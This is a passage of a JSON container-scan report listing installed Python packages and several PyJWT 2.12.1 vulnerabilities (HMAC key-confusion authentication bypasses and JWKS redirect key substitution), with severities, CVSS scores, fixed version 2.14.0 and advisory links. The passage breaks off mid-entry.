"Identifier": { "PURL": "pkg:pypi/importlib-metadata@8.0.0", "UID": "347a36bc9e660761" }, "Version": "8.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/importlib_metadata-8.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "inflect", "Identifier": { "PURL": "pkg:pypi/inflect@7.3.1", "UID": "51e7d1c898b69383" }, "Version": "7.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/inflect-7.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.collections", "Identifier": { "PURL": "pkg:pypi/jaraco.collections@5.1.0", "UID": "b2e77b8a0b175ddd" }, "Version": "5.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.collections-5.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.context", "Identifier": { "PURL": "pkg:pypi/jaraco.context@5.3.0", "UID": "d6550b81e52efabe" }, "Version": "5.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.context-5.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.functools", "Identifier": { "PURL": "pkg:pypi/jaraco.functools@4.0.1", "UID": "f42118e4940a83a5" }, "Version": "4.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.functools-4.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.text", "Identifier": { "PURL": "pkg:pypi/jaraco.text@3.12.1", "UID": "cac1fcd2d9755e50" }, "Version": "3.12.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.text-3.12.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsonschema", "Identifier": { "PURL": "pkg:pypi/jsonschema@4.26.0", "UID": "a47046ca2185827e" }, "Version": "4.26.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/jsonschema-4.26.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsonschema-specifications", "Identifier": { "PURL": "pkg:pypi/jsonschema-specifications@2025.9.1", "UID": "de37a6aaa5615612" }, "Version": "2025.9.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/jsonschema_specifications-2025.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lxml", "Identifier": { "PURL": "pkg:pypi/lxml@6.1.0", "UID": "400edb935a7067fb" }, "Version": "6.1.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/lxml-6.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mcp", "Identifier": { "PURL": "pkg:pypi/mcp@1.27.0", "UID": "a2ee91523f4d7582" }, "Version": "1.27.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/mcp-1.27.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mcp-proxy", "Identifier": { "PURL": "pkg:pypi/mcp-proxy@0.11.0", "UID": "dcadaf9cd89ec4f2" }, "Version": "0.11.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/mcp_proxy-0.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "more-itertools", "Identifier": { "PURL": "pkg:pypi/more-itertools@10.3.0", "UID": "cab6d07375997e08" }, "Version": "10.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/more_itertools-10.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "oauthlib", "Identifier": { "PURL": "pkg:pypi/oauthlib@3.3.1", "UID": "f7b1064db88860a6" }, "Version": "3.3.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/oauthlib-3.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "packaging", "Identifier": { "PURL": "pkg:pypi/packaging@24.2", "UID": "dd0943476d1773a8" }, "Version": "24.2", "Licenses": [ "Apache-2.0", "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/packaging-24.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pip", "Identifier": { "PURL": "pkg:pypi/pip@24.0", "UID": "7a4293168b845101" }, "Version": "24.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/pip-24.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "platformdirs", "Identifier": { "PURL": "pkg:pypi/platformdirs@4.2.2", "UID": "f93e5b8c438aeaf6" }, "Version": "4.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/platformdirs-4.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "proto-plus", "Identifier": { "PURL": "pkg:pypi/proto-plus@1.27.2", "UID": "702ead5270decc22" }, "Version": "1.27.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/proto_plus-1.27.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "protobuf", "Identifier": { "PURL": "pkg:pypi/protobuf@6.33.6", "UID": "a22ebecd78cdf38b" }, "Version": "6.33.6", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/protobuf-6.33.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyasn1", "Identifier": { "PURL": "pkg:pypi/pyasn1@0.6.3", "UID": "e7d9d800c5057ac7" }, "Version": "0.6.3", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyasn1_modules", "Identifier": { "PURL": "pkg:pypi/pyasn1-modules@0.4.2", "UID": "6a53ddf34da595f0" }, "Version": "0.4.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/pyasn1_modules-0.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycparser", "Identifier": { "PURL": "pkg:pypi/pycparser@3.0", "UID": "d422c076119d05e3" }, "Version": "3.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/pycparser-3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydantic", "Identifier": { "PURL": "pkg:pypi/pydantic@2.13.3", "UID": "81c7c17adf76c7c9" }, "Version": "2.13.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/pydantic-2.13.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydantic-settings", "Identifier": { "PURL": "pkg:pypi/pydantic-settings@2.14.0", "UID": "c1884900aad1539e" }, "Version": "2.14.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/pydantic_settings-2.14.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydantic_core", "Identifier": { "PURL": "pkg:pypi/pydantic-core@2.46.3", "UID": "2daa2dc2925f6115" }, "Version": "2.46.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/pydantic_core-2.46.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-dotenv", "Identifier": { "PURL": "pkg:pypi/python-dotenv@1.2.2", "UID": "2666cdebb36cb1a9" }, "Version": "1.2.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/python_dotenv-1.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-multipart", "Identifier": { "PURL": "pkg:pypi/python-multipart@0.0.26", "UID": "efe1dc13825a0ab2" }, "Version": "0.0.26", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/python_multipart-0.0.26.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "referencing", "Identifier": { "PURL": "pkg:pypi/referencing@0.37.0", "UID": "40ee29d41fb1b7a7" }, "Version": "0.37.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/referencing-0.37.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "requests", "Identifier": { "PURL": "pkg:pypi/requests@2.33.1", "UID": "5676f98498adbca3" }, "Version": "2.33.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/requests-2.33.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "requests-oauthlib", "Identifier": { "PURL": "pkg:pypi/requests-oauthlib@2.0.0", "UID": "b6160eac900d0f5b" }, "Version": "2.0.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/requests_oauthlib-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rpds-py", "Identifier": { "PURL": "pkg:pypi/rpds-py@0.30.0", "UID": "152503913b3c5450" }, "Version": "0.30.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/rpds_py-0.30.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "setuptools", "Identifier": { "PURL": "pkg:pypi/setuptools@79.0.1", "UID": "a34f48aa76be299c" }, "Version": "79.0.1", "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools-79.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "soupsieve", "Identifier": { "PURL": "pkg:pypi/soupsieve@2.8.3", "UID": "d9526ae8d9d4bf0c" }, "Version": "2.8.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/soupsieve-2.8.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sse-starlette", "Identifier": { "PURL": "pkg:pypi/sse-starlette@3.4.1", "UID": "649afb565a5aeb2e" }, "Version": "3.4.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/sse_starlette-3.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "starlette", "Identifier": { "PURL": "pkg:pypi/starlette@1.0.0", "UID": "ee3136fd1c6dbae2" }, "Version": "1.0.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/starlette-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "structlog", "Identifier": { "PURL": "pkg:pypi/structlog@25.5.0", "UID": "1ef4af7bec0b46cf" }, "Version": "25.5.0", "Licenses": [ "MIT OR Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/structlog-25.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tenacity", "Identifier": { "PURL": "pkg:pypi/tenacity@9.1.4", "UID": "db0b5c946d2304ce" }, "Version": "9.1.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/tenacity-9.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tomli", "Identifier": { "PURL": "pkg:pypi/tomli@2.0.1", "UID": "53abaa0d00072d9e" }, "Version": "2.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/tomli-2.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typeguard", "Identifier": { "PURL": "pkg:pypi/typeguard@4.3.0", "UID": "f19abdf9377301a1" }, "Version": "4.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/typeguard-4.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typing-inspection", "Identifier": { "PURL": "pkg:pypi/typing-inspection@0.4.2", "UID": "7bdf740a2123aab8" }, "Version": "0.4.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/typing_inspection-0.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typing_extensions", "Identifier": { "PURL": "pkg:pypi/typing-extensions@4.12.2", "UID": "4b1f19157aef399d" }, "Version": "4.12.2", "Licenses": [ "Python Software Foundation License" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/typing_extensions-4.12.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typing_extensions", "Identifier": { "PURL": "pkg:pypi/typing-extensions@4.15.0", "UID": "55087a215a93d447" }, "Version": "4.15.0", "Licenses": [ "PSF-2.0" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/typing_extensions-4.15.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "urllib3", "Identifier": { "PURL": "pkg:pypi/urllib3@2.6.3", "UID": "63a85cd6cb792cde" }, "Version": "2.6.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/urllib3-2.6.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uvicorn", "Identifier": { "PURL": "pkg:pypi/uvicorn@0.46.0", "UID": "f794e8bd28e1fa4f" }, "Version": "0.46.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "FilePath": "usr/local/lib/python3.11/site-packages/uvicorn-0.46.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wheel", "Identifier": { "PURL": "pkg:pypi/wheel@0.45.1", "UID": "68d1f5691b386b62" }, "Version": "0.45.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/wheel-0.45.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wheel", "Identifier": { "PURL": "pkg:pypi/wheel@0.45.1", "UID": "588d1d5b79ef6155" }, "Version": "0.45.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/wheel-0.45.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zipp", "Identifier": { "PURL": "pkg:pypi/zipp@3.19.2", "UID": "92d9047d0b817060" }, "Version": "3.19.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/zipp-3.19.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-102268", "VendorIDs": [ "GHSA-ffc3-869f-jxw9" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.11/site-packages/pyjwt-2.12.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "3bfce45ee51f1a4f" }, "InstalledVersion": "2.12.1", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102268", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:8086c6939f8c250f8262bad972522ee3697c2c9d43f9f2ee80702bdc3bc4f6b0", "Title": "pyjwt: PyJWT: Authentication bypass via improper public key validation", "Description": "PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-347" ], "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 4, "ghsa": 4, "oracle-oval": 4, "photon": 4, "redhat": 4, "rocky": 4, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:94500", "https://access.redhat.com/security/cve/CVE-2026-102268", "https://advisory.echohq.com/cve/CVE-2026-102268", "https://bugzilla.redhat.com/2542671", "https://bugzilla.redhat.com/2542685", "https://bugzilla.redhat.com/2542687", "https://bugzilla.redhat.com/2542690", "https://bugzilla.redhat.com/2542695", "https://bugzilla.redhat.com/show_bug.cgi?id=2542671", "https://bugzilla.redhat.com/show_bug.cgi?id=2542685", "https://bugzilla.redhat.com/show_bug.cgi?id=2542687", "https://bugzilla.redhat.com/show_bug.cgi?id=2542690", "https://bugzilla.redhat.com/show_bug.cgi?id=2542695", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102271", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102272", "https://errata.almalinux.org/9/ALSA-2026-94500.html", "https://errata.rockylinux.org/RLSA-2026:94500", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffc3-869f-jxw9", "https://linux.oracle.com/cve/CVE-2026-102268.html", "https://linux.oracle.com/errata/ELSA-2026-94501.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-102268", "https://ubuntu.com/security/notices/USN-8916-1", "https://ubuntu.com/security/notices/USN-8916-2", "https://www.cve.org/CVERecord?id=CVE-2026-102268" ], "PublishedDate": "2026-09-28T21:17:14.6Z", "LastModifiedDate": "2026-10-07T20:25:03.03Z" }, { "VulnerabilityID": "CVE-2026-102267", "VendorIDs": [ "GHSA-9v7f-9g4p-ffgj" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.11/site-packages/pyjwt-2.12.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "3bfce45ee51f1a4f" }, "InstalledVersion": "2.12.1", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102267", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a94612077f1541b12a051fe543ba8a82b23865c511c92f41f596d1f9925d7206", "Title": "pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects", "Description": "PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.", "Severity": "HIGH", "CweIDs": [ "CWE-200", "CWE-345", "CWE-918" ], "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 3, "ghsa": 3, "nvd": 4, "oracle-oval": 4, "photon": 4, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:94500", "https://access.redhat.com/security/cve/CVE-2026-102267", "https://advisory.echohq.com/cve/CVE-2026-102267", "https://bugzilla.redhat.com/2542671", "https://bugzilla.redhat.com/2542685", "https://bugzilla.redhat.com/2542687", "https://bugzilla.redhat.com/2542690", "https://bugzilla.redhat.com/2542695", "https://bugzilla.redhat.com/show_bug.cgi?id=2542671", "https://bugzilla.redhat.com/show_bug.cgi?id=2542685", "https://bugzilla.redhat.com/show_bug.cgi?id=2542687", "https://bugzilla.redhat.com/show_bug.cgi?id=2542690", "https://bugzilla.redhat.com/show_bug.cgi?id=2542695", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102271", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102272", "https://errata.almalinux.org/9/ALSA-2026-94500.html", "https://errata.rockylinux.org/RLSA-2026:94500", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9v7f-9g4p-ffgj", "https://linux.oracle.com/cve/CVE-2026-102267.html", "https://linux.oracle.com/errata/ELSA-2026-94501.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-102267", "https://ubuntu.com/security/notices/USN-8916-1", "https://ubuntu.com/security/notices/USN-8916-2", "https://www.cve.org/CVERecord?id=CVE-2026-102267" ], "PublishedDate": "2026-09-28T21:17:14.43Z", "LastModifiedDate": "2026-10-07T20:27:45.713Z" }, { "VulnerabilityID": "CVE-2026-102271", "VendorIDs": [ "GHSA-p4g4-x82p-q773" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.11/site-packages/pyjwt-2.12.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "3bfce45ee51f1a4f" }, "InstalledVersion": "2.12.1", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102271", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:6a4c3c9494dee2f4dbfb793df41769ae5fcfd1d6e3b82844ac854420d8a1ed85", "Title": "pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets", "Description": "PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.", "Severity": "HIGH", "CweIDs": [ "CWE-347" ], "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 3, "ghsa": 3, "oracle-oval": 4, "photon": 3, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", 